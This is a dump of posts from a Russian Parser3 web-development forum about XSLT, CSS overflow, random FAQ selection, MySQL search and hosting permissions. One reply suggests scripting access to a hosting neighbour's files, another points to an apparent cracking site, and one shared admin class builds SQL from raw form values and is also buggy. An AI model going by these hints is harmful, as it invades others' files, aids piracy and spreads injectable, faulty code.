[/code]"
"29129","Ну еще дело в памяти - если ее жрется много то она тоже не катит. Владимир, если не секрет, скажите - зачем вам понадобились 2-е версии указанных штук? Ведь 99 из 100 что вы все свои задачи решите с помощью первых, или это просто интересует ради того чтобы было? К тому же, они еще не свосем стандартизованы, а в условиях неопределенности писать серъезные вещи бессмысленно."
"29130","test.html\
[code]\
$sourceDoc[^xdoc::load[test.xml]]\
$transformedDoc[^sourceDoc.transform[test.xsl]]\
^transformedDoc.string[$.method[html]]\
[/code]\
\
test.xsl\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\" ?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
<xsl:template match=\"СправочныеДанные\">\
 <xsl:for-each select=\"УникальныйТелефон\">\
  <xsl:sort select=\"@Номер\" />\
  [b]<xsl:number />[/b]<br />\
 </xsl:for-each>\
</xsl:template> \
</xsl:stylesheet>\
[/code]\
\
test.xml\
[code]\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<СправочныеДанные>\
<УникальныйТелефон Номер=\"105\" />\
<УникальныйТелефон Номер=\"134\" />\
<УникальныйТелефон Номер=\"102\" />\
</СправочныеДанные>\
[/code]\
\
Результат:\
3\
1\
2\
\
А хочется:\
1\
2\
3\
\
Наверное можно как-то атрибутом count для xsl:number сделать чтобы правильно считалось, но как ?"
"29131","Согласен, что пункты из \"what's new in 2.0\" имеют значение для узкого круга задач. С моей стороны это было, скорее, любопытство (причиной были встреченные в интернете восторги по поводу saxon 7 с поддержкой всего этого \"добра\")."
"29133","Как всегда все очень просто, \
спасибо огромное."
"29134","Стандартный трабл.\
Не находит кодировку 1251\
\
как я понял из обсуждений в конфигурационном файле (главный auto.p)\
надо прописать только путь к файлу главному auto.p и sql connection string.\
так вот \
Прописал и то и другое но Не находит кодировку 1251.\
\
что ещё надо сделать.. все пути правильные проверял несколько раз!!!!\
\
единственное на что грешу что cgi-bin находится в \"document root\"\
может быть в этом проблемма?"
"29135","Примитивный код, но всё таки хочется услышать мнения по рандомайзеру (может антикеширование какое ввести?):\
\
[code]\
@faq[SourceFile]\
^if(def $SourceFile && -f \"/textfiles/$SourceFile\"){\
	Рандом фак:\
	$SourceFileTable[^table::load[/rrr/$SourceFile]]\
	^SourceFileTable.offset(^math:random($SourceFileTable))\
	Вопрос: $SourceFileTable.question <BR>\
	Ответ: $SourceFileTable.answer <BR>\
}\
[/code]"
"29136","Какие права должны быть у драйвера SQL\
и у файлов кодировок?\
FreeBSD+MySQL+appache если это важно \
\
Заранее благодарю за помощь."
"29139","В INSTALL сказано:\
libxml2 >= 2.6.5\
libxslt >= 1.1.2\
glib >= 1.2.10\
gdome2 >= 0.7.4"
"29140","Вывернулись таки (-:\
\
Придется так и делать..."
"29141","(в части, реализованной libxslt), соответственно, тоже можно использовать?\
Пойду, проверю."
"29142","...то может быть поменял провайдер? Проверь права на парсер, у меня в своё время дело было в них."
"29143","от меня только одно замечание:\
если всю таблицу поднимать в память - сервак жалко, я примерно тоже делаю, но из базы, а отличие такое:\
1) есть поля: id, quest, answer\
2) выборка поля id\
3) random от кол-ва строк(!) в получившейся таблице(id и номер строки могут не совпадать)\
4) по указанному id выбираю из базы\
\
а про антикеширование - это да, у меня:\
[code]\
<META HTTP-EQUIV=\"pragma\" content=\"no-cache\">\
[/code]\
хотя у меня еще можно наверно уменьшить код, но как - пока не думал"
"29145","У меня есть большая просьба... Я конечно не совсем чайник в этом всем деле, но и не программист все таки... Для меня немного не понятно, как это все работает... легче, когда уже есть что-то готовое, и его только нужно разобрать... Может быть кто-нибудь... кто-нибудь... опублекует какой нить готовый сайтик для примера (в смысле коды)... PLEASE!"
"29146","Уроки в документации - то-что вы ищите\
Если покажется мало, ещё несколько работающих примеров(или почти работающих, где они неработают и почему там отдельно написано если Misha.V.3 не исправил) можно найти по ссылке http://www.parser.ru/examples/\
\
После прчтения уроков (или по ходу возникновения вопросов) рекомендую обратиться к разделу faq http://www.parser.ru/faq/ и документации\
Затем, если вопрос небыл разрешённ, с лева есть поиск по форуму, он решает 99.9% проблем начинающих и нетолько\
Если уж это непомогло, то вам прямая дорога написания вопроса в форум.\
\
Прежде чем постить сообщение в форум вы должны определиться достаточно ли вы даёте информации чтобы спецы могли разрешить вашу проблему.\
Что должно быть в сообщении\
1) Описание проблемы что вы делаете, что происходит, что вы хотите, что должно произойти, ваши предположения\
2) Ошибка которую выдаёт код (можно взять в лог файле)\
3) Код который выдаёт ошибку\
\
Что требуется от вас - терпение ;)\
\
[imho]\
Это правило помоему до сих пор небыло описано, хотя надо обратиться к поиску по форуму, но если вы его нарушаете вам непременно будут указвать на него.\
[/imho]"
"29148","А разве это наоборот не дольше:\
\
1. SELECT id в переменную\
2. COUNT в переменной\
3. random\
4. SELECT where id=random\
\
У меня ведь:\
1. COUNT\
2. random\
3. SELECT offset=random"
"29150","и не\
1. SELECT id в переменную\
2. COUNT в переменной\
\
а\
1. SELECT COUNT в переменную, или можно прямо SELECT RANDOM(COUNT(*))...\
\
только лучше второй запрос наверное не SELECT where id=random, а SELECT ... ORDER BY id LIMIT random, 1...\
\
к тому-же в случае с БД грузится ОДНА ЕДИНСТВЕННАЯ ЗАПИСЬ, а у вас с файликами грузится ВЕСЬ ФАЙЛ (представьте количество записей в вашем FAQ перевалит несколько тысяч. хотя наверное с FAQ это не произойдет, но с анекдотами/афоризмами и т.д. может произойти запросто.)\
\
в результате 2 простых и очень быстрых (при наличии нужных индексов) запроса к БД и минимальный расход памяти."
"29151","советую сделать так:\
Каждый из вопросов-ответов запихивать в отдельный файл, а выбирать рэндомом по ^file:list[], а уж потом загружать. Нагрузка падает существенно.\
Надо будет только отдельную директорию сделать, чтобы класть туда все эти файлы"
"29152","а вот за эту идею спасибо:\
\"SELECT COUNT в переменную, или можно прямо SELECT RANDOM(COUNT(*))...\""
"29153","Обнаружил для себя интересную вещь, что IE не понимает \
overflow: hidden\
\
В связи с этим вопрос, кто чем заменяет это безобразие, для усечения невлезающего текста?\
\
P.S. Пока в голову пришло только засунуть этот текст в элемент формы без бордера с атрибутом readonly."
"29154","Но в моем эксплорере это работает :)\
[code]\
<html> \
<head> \
<title>Тест</title> \
<style>\
 \
div{height: 5; overflow:hidden} \
 \
</style> \
</head> \
<body> \
<table width=\"100%\" height=\"100%\"> \
<tr> \
<td width=\"20%\" valign=\"top\"> \
Здесь можно расположить оглавление:<br> \
 \
</td> \
<td> \
<div class=\"maindoc\"> \
<p>&#192;&#225;&#231;&#224;&#246; 1</p> \
<p>&#192;&#225;&#231;&#224;&#246; 2</p> \
<p>&#192;&#225;&#231;&#224;&#246; 3</p> \
<p>&#192;&#225;&#231;&#224;&#246; 4</p> \
<p>&#192;&#225;&#231;&#224;&#246; 5</p> \
<p>&#192;&#225;&#231;&#224;&#246; 6</p> \
<p>&#192;&#225;&#231;&#224;&#246; 7</p> \
<p>&#192;&#225;&#231;&#224;&#246; 8</p> \
<p>&#192;&#225;&#231;&#224;&#246; 9</p> \
<p>&#192;&#225;&#231;&#224;&#246; 10</p> \
<p>&#192;&#225;&#231;&#224;&#246; 11</p> \
<p>&#192;&#225;&#231;&#224;&#246; 12</p> \
<p>&#192;&#225;&#231;&#224;&#246; 13</p> \
<p>&#192;&#225;&#231;&#224;&#246; 14</p> \
<p>&#192;&#225;&#231;&#224;&#246; 15</p> \
</div> \
</td> \
</tr> \
</table> \
</body> \
\
</html> \
[/code]"
"29155","[code]\
##############################################################################\
# Замена ^file:list, позволяющая искать только файлы/папки\
# dir -- имя каталога   в котором ищутся файлы\
# mask -- маска файлов  regexp файлов, которые надо найти\
# flag -- d|f           Искать файли (f|F) или каталоги(d|D). Если пусто или что-то другое, то игнорируется: ищем всё\
@file_list[dir;mask;flag][lst]\
$lst[^file:list[$dir;$mask]]\
^if(!def $flag || (^flag.lower[] ne \"d\" && ^flag.lower[] ne \"f\")){\
	^rem{*** Флаг не определён или какую-то ерунду дали вместо флага ***}\
	$result[^table::create[$lst]]\
}{\
	$result[^table::create{name}]\
	$flag[^flag.lower[]]\
	^lst.menu{\
		^switch[$flag]{\
			^case[d]{^if(-d \"$dir/$lst.name\"){^result.append{$lst.name}}}\
			^case[f]{^if(-f \"$dir/$lst.name\"){^result.append{$lst.name}}}\
		}\
	}\
}\
[/code]"
"29156","размеры стоят динамические, а не фиксированные. Поэтому после помещения внутрь div длинного текста, он продолжает его растягивать вправо, не взирая на overflow."
"29157","подразумеваете под \"динамические\". размер в процентах от парента?\
Покажите кусок кода - попробуем что-то вместе придумать."
"29158","[code]\
<table>\
	<tr><td>Дата</td></tr>\
	<tr><td height=\"8px\" nowrap></td></tr>\
	<tr><td><div style=\"overflow: hidden\">26.04.2004,&nbsp;18:33</div></td></tr>\
	<tr><td height=\"8px\" nowrap></td></tr>\
</table>\
[/code]\
\
Он простой до предела. И при сжимании окна, показывает нижнюю скролирующую линейку, хотя не должен."
"29159","Входные данные:\
3.1.2 Парзер работает модулем под 1.3 Apache, FreeBSD \
\
Проблема:\
Память не осовбождается. Буквально:\
[b]auto.p[/b]\
[code]\
@page[][i;aaa]\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<HTML>\
	<body>\
		<h2>Привет</h2>\
			^for[i](1;10000){\
					$aaa[${aaa} что-то с памятью моей сталось....]\
			}\
		</body>\
</HTML>\
^memory:compact[]\
[/code]\
\
[b]Страница index.p3:[/b]\
[code]\
^page[]\
^memory:compact[]\
[/code]\
\
[b]Что происходит с памятью:[/b]\
1. только запущенный процесс (без обращений): 9112\
2. в приведенном коде нет ^memory:compact[]: 13812\
3. код, как приведен : 13828\
\
Пожалуйста, прокомментируйте, что не так и как сделать правильно. \
Как мне избежать подобного \"подтекания\" памяти? \
В каком направлении и что желательно предпринять. \
Заранее спасибо за совет."
"29164","А если опечатку нашёл или ненужный фак удалить надо? Все файлы перебирать, текст нужный искать?\
\
А список файлов как хранить? И править его каждый раз вместе с правкой фак-ового файла?\
\
А уж про то, что если вдруг нашёл 100 интересных анекдотов - 100 филезов создавать - запариться можно!"
"29166","у меня работает\
[code]\
<html> \
<head> \
<title>Пример</title> \
<style>\
 \
div{height: 19; overflow:hidden} \
 \
</style> \
</head> \
<body> \
<table width=\"55\" border=\"1\">\
        <tr><td>Дата</td></tr>\
        <tr><td height=\"8px\" nowrap></td></tr>\
        <tr><td><div>26.04.2004, 18:33</div></td></tr>\
        <tr><td height=\"8px\" nowrap></td></tr>\
</table>\
</body> \
\
</html> \
\
[/code]"
"29167","При сохранении 100 анекдотов... Вам сложно написать код, который будет каждый складывать в отодельный файл?\
А в чем проблема редактирования? Не пойму..."
"29169","так [code]\
<tr><td nowrap><div>26.04.2004, 18:33</div></td></tr>\
[code]\
\
Чтобы не переносилось?"
"29170","Мой хостер как-то странно реагирует на генерацию новых файлов скриптами, а именно: присваивает им статус\\свойства какого-то левого владельца (admin, чтоли, вместо моего логина), из-за этого у меня порядка 5Мб занято фолдерами и файлами, которые я не могу удалить и отредактировать никаким образом (Permission Denied). \
Поэтому новые файлы -- только ручками... ;) \
На локалхосте так себе парсер я не поставил..."
"29174","Логично предполагать, что создаются файлы с правами, под которыми запускается апач. Верно?\
Значит, будем им же отдавать права назад :)\
вместе с каждым созданием файла запускать еще shell script файл change.p\
\
================ change.p\
#!/bin/sh (или какой там путь)\
chown <Ваш пользователь> $1\
\
================ / change.p\
\
Где $1 - это параметр с именем файла\
\
\
\
Но это все извращения :) Просто надо бы связаться с хостерами и попросить решить проблему с правами :)"
"29175","Что-то после перехода на 3.1.2 в эррорлоге (до этого пустовавшем месяцами) стали появляться вот такие вещи\
\
[code]\
[Tue Apr 27 07:15:22 2004] /wallpapers.html: ./auto.p(2:33): parse error, expecting `STRING' or `'$'' or `'^'' [parser.compile]\
[/code]\
Код не менялся более 6 месяцев.\
Причем только что столкнулся с тем, что это дело, еще к тому же, вывалимвается пользоывателю в браузер....\
\
:("
"29176","...а ту память, которую парсер использовал под хранение переменных, которые \"обнулились\" парсер может использовать повторно (насчет возврата памяти парсером ОС я могу ошибаться).\
\
попробуйте убрать ^memory:compact[] из @page[] и сравнить:\
\
^page[]\
^page[]\
\
с\
\
^page[]\
^memory:compact[]\
^page[]"
"29177","Ну а что в этой строке-то?!\
Какой пример подаем новичкам?"
"29178","Вот верхушка этого auto.p\
[code]\
@USE\
/mods/block.p\
/mods/vote.p\
/mods/news.p\
/mods/admin.p\
/mods/admining.p\
/mods/is_admin.p\
/mods/comments.p\
/mods/banner.p\
/mods/auth.p\
/mods/advertising.p\
/mods/for_songs.p\
\
[/code]\
Прикол в том, что во второй строке НЕТ 33 символа\
там и 15 нет..."
"29179","А на других страницах падает?\
И тот ли это auto.p?"
"29180","auto.p единственный. больше нету"
"29181","Вопрос банальный как лучше всего осуществить поиск по MySQL на Parser'e. Я конечно скрипт писать не прошу, но может подскажите основный моменты и конструкции кода. Искать нужно внутри текста записи типа товар / его описание.\
Заранее благодарен. \
\
База большая несколько тысяч записей, какие проблемы могут возникнуть со скоростью ?"
"29183","Мда, от такого хостера, наверно, сбегать надо.\
Попробуйте посмотреть файлы соседа по хостингу с помощью скриптов"
"29184","мне нужно, чтобы в ячейке таблицы усекался длинный текст, и его просто не было видно. При этом в размерах ячейки либо ничего не указано, что соответствует width: auto, либо указано значение в % (width: 23%).\
В опере, код, приведенный мной выше работает прекрасно, в IE6 почемуто ячейка таблицы раздвигается на полную ширину не взирая на overflow: hidden"
"29185","который крайне необходим для создания поиска.\
Отрезает ненужные окончания, чтобы правильней осуществить поиск\
\
На входе:\
админвзыскание\
админвзыскания\
админвзысканию\
админвзысканием\
админвзыскании\
админвзысканий\
админвзысканиям\
админвзысканиями\
админвзысканиях\
кровать\
свежесобранный\
красивый\
швидкий\
\
На выходе:\
админвзыскан|ие\
админвзыскан|и|я\
админвзыскан|и|ю\
админвзыскан|и|ем|\
админвзыскан|и|и\
админвзыскан|и|й\
админвзыскан|и|ям\
админвзыскан|и|ями\
админвзыскан|и|ях|\
крова|т|ь\
свежесобра|н|н|ый\
красив|ый\
швидки|й\
\
Пока не прилаживал, как прилажу, сообщу о результатах."
"29186","проблема не в CSS а в таблице, вставьте просто этот код сам посебе:\
\
<div \
\
style=\"overflow-x:hidden;overflow-y:hidden;width:100%;height:100%\">26.04.2004,&nbsp;18:33</d\
\
iv>\
\
если таблица принципиально нужна, то тогда делайте так:\
\
<div \
\
style=\"overflow-x:hidden;overflow-y:hidden;width:100%;height:100%\"><table>\
<tr><td>Дата</td></tr>\
<tr><td height=\"8px\" nowrap></td></tr>\
<tr><td><div \
\
style=\"overflow-x:hidden;overflow-y:hidden;width:100%;height:100%\">26.04.2004,&nbsp;18:33</d\
\
iv></td></tr>\
<tr><td height=\"8px\" nowrap></td></tr>\
</table></div>\
\
\
почему все так?\
ответ: Браузеру пофиг (это про IE), что в блоке что-то overflow:hidden, он берет и отображает таблицу, где есть блок такой-то ширины и высоты...."
"29187","проблема не в CSS а в таблице, вставьте просто этот код сам посебе:\
\
<div \
\
style=\"overflow-x:hidden;overflow-y:hidden;width:100%;height:100%\">26.04.2004,&nbsp;18:33</d\
\
iv>\
\
если таблица принципиально нужна, то тогда делайте так:\
\
<div \
\
style=\"overflow-x:hidden;overflow-y:hidden;width:100%;height:100%\"><table>\
<tr><td>Дата</td></tr>\
<tr><td height=\"8px\" nowrap></td></tr>\
<tr><td><div \
\
style=\"overflow-x:hidden;overflow-y:hidden;width:100%;height:100%\">26.04.2004,&nbsp;18:33</d\
\
iv></td></tr>\
<tr><td height=\"8px\" nowrap></td></tr>\
</table></div>\
\
\
почему все так?\
ответ: Браузеру пофиг (это про IE), что в блоке что-то overflow:hidden, он берет и отображает таблицу, где есть блок такой-то ширины и высоты...."
"29188","<div \
\
style=\"overflow-x:hidden;overflow-y:hidden;overflow:hidden;width:100%;height:100%\"><table>\
<tr><td>Дата</td></tr>\
<tr><td></td></tr>\
<tr><td><div \
\
style=\"overflow-x:hidden;overflow-y:hidden;overflow:hidden;width:100%;height:100%\">26.04.200\
\
4,&nbsp;18:33</d\
\
iv></td></tr>\
<tr><td></td></tr>\
</table></div>"
"29190","я придерживаюсь принципа: работает, значит ОК.....\
можно подумать как это сделать подругому и посмотрите сюда:\
http://dev.w3.org/cvsweb/2002/css-validator/org/w3c/css/parser/allcss.properties?rev=1.2\
\
задайте поиск по странице (overflow-x), найдете:\
org.w3c.css.properties3.CssOverflowX"
"29191","работает != что будет поддерживаться в дальнейшем\
\
overflow-x и overflow-y были внедрены разработчиками IE, а остальные просто подстроились под них. Ровно так же как с тегом <nobr>. Его в спецификации нет, но он поддерживается всеми браузерами.\
\
Вобщем, то что с подобной проблемой никто не сталкивался на этом форуме -- понятно. Буду подбирать варианты сам. Всем спасибо."
"29192","<div style=\"overflow:hidden;width:100%;height:100%\"><table><tr><td nowrap>Дата там, \
\
какая-то...</td></tr><tr><td nowrap>26.04.2004,&nbsp;18:33</td></tr></table></div>"
"29193","Было бы очень интересно узнать, получилось ли что хотелось...\
Сам сейчас занят как раз такой вот проблемой реализации нормального поиска."
"29194","Вот лично Вы, любите тыкать народ мордой в тот факт, что они не в кассу пишут, а сами тут такой флейм развели, - это как понимать уважаемый?"
"29195","судя по всему время от времени падает..."
"29196","Реализовавал ли кто связку указанную в субже?\
Все описания на msdn сводятся к вызову методов VB и т.п.\
может кто подкинет ссылку на описание схем и интерфейсов?"
"29198","@del_space[text]\
^match[\\.[ ]+\\|[ ]*;g;\\.\\|;$text]\
\
у меня трудности с рег. выраж.\
\
Подскажите что в даном случаи происходить??? какие имено пробелы удаляются???"
"29199","SOAP сервер я делал (в сильно \"облегченном\" варианте, но с генерацией wsdl по схемам). Юзал в C#, с автоматической генерацией прокси средствами VS.NET. Работало. Ежели надо - пиши на мейл или в аську."
"29200","...второй Яндекс делать я не хочу, просто хотелось узнать как всёже наилучшим образом осуществить поиск по БД на парсере для начала без морфологической обработки"
"29201","Тогда просто бери и обрезай окончания (ая|ий|ое|ую.... ), проще будет :)"
"29202","Почему клаас авторизации не требует \
[code]\
@USE\
auth.p\
[/code]\
и нормально работает?"
"29204","Меня не интересуют окончания, мне интересно как впринципе осуществить поиск по БД"
"29205","Напишите чего вам надо от кода."
"29206","Если прописать в корневом .htaccess \
RewriteEngine On\
RewriteRule $ index.html\
\
перестают отражаться картинки это понятно, но почему даже если прописать полный путь http://www.xxxxx.ru/pic/pic.png они всё равно не отражаются.\
\
Причем если сделать туже запись в не корневом .htaccess всё работает нормально. Почему ? Может надо кат то RewriteRule по другому написать."
"29207","конечно может где-то и спряталось :) Весь код страници, которая работает, взято из архива с классом:\
[code]\
^rem{ *** &#243;&#241;&#242;&#224;&#237;&#224;&#226;&#235;&#232;&#226;&#224;&#229;&#236; &#241;&#238;&#229;&#228;&#232;&#237;&#229;&#237;&#232;&#229; &#241; sql &#241;&#229;&#240;&#226;&#229;&#240;&#238;&#236; *** }\
^MAIN:pSQL.server{\
	&lt^;&lt^; <a href=\"./_auth_info.html\">&#200;&#237;&#244;&#238;&#240;&#236;&#224;&#246;&#232;&#255;</a>\
\
	^rem{ *** &#241;&#238;&#231;&#228;&#224;&#229;&#236; &#238;&#225;&#250;&#229;&#234;&#242; &#234;&#235;&#224;&#241;&#241;&#224; &#224;&#226;&#242;&#238;&#240;&#232;&#231;&#224;&#246;&#232;&#232; *** }\
	^rem{ *** &#242;.&#234;. &#236;&#251; &#237;&#229; &#239;&#229;&#240;&#229;&#228;&#224;&#229;&#236; &#234;&#235;&#224;&#241;&#241;&#243; $form:fields &#237;&#224; &#253;&#242;&#238;&#233; &#241;&#242;&#240;&#224;&#237;&#232;&#246;&#229; &#235;&#238;&#227;&#232;&#237;/logout &#239;&#240;&#238;&#232;&#231;&#238;&#233;&#242;&#232; &#237;&#229; &#236;&#238;&#230;&#229;&#242; *** }\
	$auth_data[^auth::init[$cookie:CLASS;;$.csql[$MAIN:pSQL]]]\
\
	^rem{ *** &#243;&#241;&#242;&#224;&#237;&#224;&#226;&#235;&#232;&#226;&#224;&#229;&#236; &#224;&#237;&#242;&#232;&#234;&#229;&#248;&#232;&#240;&#243;&#254;&#249;&#232;&#229; &#231;&#224;&#227;&#238;&#235;&#238;&#226;&#234;&#232; *** }\
	^auth_data.setExpireHeaders[]\
\
	^rem{ *** &#229;&#241;&#235;&#232; &#225;&#251;&#235;&#224; &#237;&#224;&#230;&#224;&#242;&#224; &#234;&#237;&#238;&#239;&#234;&#224; &#228;&#238;&#225;&#224;&#226;&#235;&#255;&#229;&#236; &#237;&#238;&#226;&#238;&#227;&#238; &#239;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#255; &#232;&#235;&#232; &#232;&#231;&#236;&#229;&#237;&#255;&#229;&#236; &#239;&#224;&#240;&#224;&#236;&#229;&#242;&#240;&#251; &#231;&#224;&#235;&#238;&#227;&#232;&#237;&#229;&#237;&#237;&#238;&#227;&#238; *** }\
	^if(def $form:save){\
		^if($auth_data.is_logon){\
			$res(^auth_data.updateUser[$form:fields])\
			<p>\
			^switch[$res]{\
				^case[0]{&#207;&#224;&#240;&#224;&#236;&#229;&#242;&#240;&#251; &#239;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#255; &#241;&#238;&#245;&#240;&#224;&#237;&#229;&#237;&#251;}\
				^case[1]{&#207;&#238;&#248;&#229;&#235; &#237;&#224; &#244;&#232;&#227;, &#245;&#224;&#234;&#229;&#240;!}\
				^case[2]{&#205;&#229; &#231;&#224;&#228;&#224;&#237;&#238; &#232;&#236;&#255; &#239;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#255; &#232;&#235;&#232; &#239;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#252; &#241; &#242;&#224;&#234;&#232;&#236; &#232;&#236;&#229;&#237;&#229;&#236; &#243;&#230;&#229; &#241;&#243;&#249;&#229;&#241;&#242;&#226;&#243;&#229;&#242;}\
				^case[3]{&#205;&#229;&#226;&#229;&#240;&#237;&#238; &#239;&#238;&#228;&#242;&#226;&#229;&#240;&#230;&#228;&#229;&#237; &#239;&#224;&#240;&#238;&#235;&#252;}\
				^case[DEFAULT]{&#202;&#224;&#234;&#232;&#229;-&#242;&#238; &#239;&#240;&#238;&#225;&#235;&#229;&#236;&#251; &#239;&#240;&#232; &#232;&#231;&#236;&#229;&#237;&#229;&#237;&#232;&#232; &#239;&#224;&#240;&#224;&#236;&#229;&#242;&#240;&#238;&#226; &#239;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#255;}\
			}\
			</p>\
		}{\
			$res(^auth_data.insertUser[$form:fields])\
			^switch[$res]{\
				^case[0]{&#207;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#252; &#243;&#241;&#239;&#229;&#248;&#237;&#238; &#231;&#224;&#240;&#229;&#227;&#232;&#241;&#242;&#240;&#232;&#240;&#238;&#226;&#224;&#237;}\
				^case[1]{&#205;&#229; &#231;&#224;&#228;&#224;&#237;&#238; &#232;&#236;&#255;, &#239;&#224;&#240;&#238;&#235;&#252; &#232;&#235;&#232; email &#232;&#236;&#229;&#229;&#242; &#237;&#229;&#226;&#229;&#240;&#237;&#251;&#233; &#244;&#238;&#240;&#236;&#224;&#242;}\
				^case[2]{&#207;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#252; &#241; &#242;&#224;&#234;&#232;&#236; &#232;&#236;&#229;&#237;&#229;&#236; &#243;&#230;&#229; &#241;&#243;&#249;&#229;&#241;&#242;&#226;&#243;&#229;&#242;}\
				^case[3]{&#205;&#229;&#226;&#229;&#240;&#237;&#238; &#239;&#238;&#228;&#242;&#226;&#229;&#240;&#230;&#228;&#229;&#237; &#239;&#224;&#240;&#238;&#235;&#252;}\
				^case[DEFAULT]{&#202;&#224;&#234;&#232;&#229;-&#242;&#238; &#239;&#240;&#238;&#225;&#235;&#229;&#236;&#251; &#239;&#240;&#232; &#240;&#229;&#227;&#232;&#241;&#242;&#240;&#224;&#246;&#232;&#232; &#237;&#238;&#226;&#238;&#227;&#238; &#239;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#255;}\
			}\
			^rem{ *** &#229;&#241;&#235;&#232; &#240;&#229;&#227;&#232;&#241;&#242;&#240;&#224;&#246;&#232;&#255; &#239;&#240;&#238;&#248;&#235;&#224; &#243;&#241;&#239;&#229;&#248;&#237;&#238; - &#235;&#238;&#227;&#232;&#237;&#232;&#236; &#239;&#238;&#235;&#252;&#231;&#238;&#226;&#224;&#242;&#229;&#235;&#255; *** }\
			^if(!$res){\
				$tmp(^auth_data.logon[\
					$form:fields\
					$.[auth.logon][do]\
				])\
			}\
		}\
	}\
\
	^rem{ *** &#239;&#238;&#234;&#224;&#231;&#251;&#226;&#224;&#229;&#236; &#244;&#238;&#240;&#236;&#238;&#247;&#234;&#243; &#240;&#229;&#227;&#232;&#241;&#242;&#240;&#224;&#246;&#232;&#232;/&#232;&#231;&#236;&#229;&#237;&#229;&#237;&#232;&#255; &#239;&#224;&#240;&#224;&#236;&#229;&#242;&#240;&#238;&#226; *** }\
	<h1>^if($auth_data.is_logon){&#200;&#231;&#236;&#229;&#237;&#229;&#237;&#232;&#229; &#239;&#224;&#240;&#224;&#236;&#229;&#242;&#240;&#238;&#226;}{&#208;&#229;&#227;&#232;&#241;&#242;&#240;&#224;&#246;&#232;&#255;}</h1>\
	<form action=\"./_auth_profile.html\" method=\"post\">\
		&#203;&#238;&#227;&#232;&#237;:<br />\
		<input type=\"text\" name=\"auth.name\" value=\"^if(def $form:[auth.name]){$form:[auth.name]}{$auth_data.user.name}\" /><br />\
		E-mail:<br />\
		<input type=\"text\" name=\"auth.email\" value=\"^if(def $form:[auth.email]){$form:[auth.email]}{$auth_data.user.email}\" /><br />\
		&#207;&#224;&#240;&#238;&#235;&#252;:<br />\
		<input type=\"password\" name=\"auth.passwd\" value=\"\" /><br />\
		&#207;&#238;&#228;&#242;&#226;&#229;&#240;&#230;&#228;&#229;&#237;&#232;&#229; &#239;&#224;&#240;&#238;&#235;&#255;:<br />\
		<input type=\"password\" name=\"auth.passwd_confirm\" value=\"\" /><br />\
		<input type=\"submit\" name=\"save\" value=\"^if($auth_data.is_logon){&#200;&#231;&#236;&#229;&#237;&#232;&#242;&#252;}{&#199;&#224;&#240;&#229;&#227;&#232;&#241;&#242;&#240;&#232;&#240;&#238;&#226;&#224;&#242;&#252;}\" />\
	</form>\
}\
[/code]\
Я не вижу здесь никаких use!"
"29209","1. Что вам нужно от Rewrite?\
2. Может зачем вообще всё на index.html гнать если без параметров или чего ещё??\
3. Может DirectoryIndex index.html  вы хотели?\
4. Именно про неотображение картинок после Rewrire - ПОИСК ПО ФОРУМУ, сам позавчера читал."
"29211","Файл доступен по стандартной авторизации Apache, поэтому все элементарно просто:\
\
[code]\
@CLASS\
catalogadmin\
\
@SelectMessage[]\
^MAIN:pSQL.server{\
	$NotModerated[^table::sql{\
	SELECT uuid, url, title, flag\
	FROM catalog\
	WHERE flag = '0'\
# flag - это такое поле типа \"is_published\"\
	}]\
\
	<DIV ID=heading>Выбор объявления для редактирования</DIV>\
	<DIV ID=form>\
	<FORM action=\"admin.html?EditMessage\" method=\"post\">\
	^NotModerated.menu{\
		<input type=radio name=\"uuid\" value=\"$NotModerated.uuid\" /><BR/>\
		<input type=text name=\"title\" value=\"$NotModerated.title\" /><BR/>\
		<input type=text name=\"url\" value=\"$NotModerated.url\" /><BR/>\
		}[<HR />] \
		\
	<input type=submit value=\"Выбрать\" />\
	</FORM>\
	</DIV>\
}\
\
@EditMessage[uniqueNumber]\
\
^MAIN:pSQL.server{\
	\
	^if(def $uniqueNumber){\
	$EditingMessage[^table::sql{\
	SELECT uuid, url, title, descr, keywords, category, flag\
	FROM catalog\
	WHERE uuid = \"$uniqueNumber\" \
	}]\
\
	<DIV ID=heading>Редактирование объявления</DIV>\
	<DIV ID=form>\
	<FORM action=\"admin.html?UpdateMessage\" method=\"post\">\
	Название: <input type=text name=\"title\" value=\"$EditingMessage.title\" /><BR/>\
	УРЛ: <input type=text name=\"url\" value=\"$EditingMessage.url\" /><BR/>\
	Описание: <input type=text name=\"descr\" value=\"$EditingMessage.descr\" /><BR/>\
	Ключи: <input type=text name=\"keywords\" value=\"$EditingMessage.keywords\" /><BR/>\
	Флаг: <input type=text name=\"flag\" value=\"$EditingMessage.flag\" />\
	Категория: <input type=text name=\"category\" value=\"$EditingMessage.category\" />\
	<input type=hidden value=\"$uniqueNumber\" name=\"uuid\" />\
	<input type=submit value=\"Изменить объявление\" />\
	</FORM>\
	</DIV>\
	}\
}\
\
@UpdateMessage[uuid;url;title;descr;keywords;category;flag]\
\
^MAIN:pSQL.server{\
	^void:sql{\
	UPDATE catalog\
	SET title = \"$title\"\
	AND url = \"$url\"\
	AND descr = \"$descr\"\
	AND keywords = \"$keywords\"\
	AND category = \"$category\"\
	AND flag = \"$flag\"\
	WHERE uuid = \"$uuid\"\
	}\
	<DIV ID=heading>Объявление успешно изменено</DIV>\
}[/code]\
\
Комментарии по коду, если это можно назвать кодом, - приветствуются %)"
"29214","Старые что-то не подходят. Был 10.00с и есть в нем баг в буфере обмена+ русские буквы. В новом такой проблемы нет :-)\
\
Максим prepress@mail.ru"
"29215","идите на lomalka.ru"
"29216","купите UltraEdit, [b]пожалуйста[/b]"
"29217","Беру из $env:HTTP_REFERER откуда пришел посетитель.\
Можно как-нибудь из UTF-8 (например Яндексовский запрос) в какую-нибудь другую кодировку?"
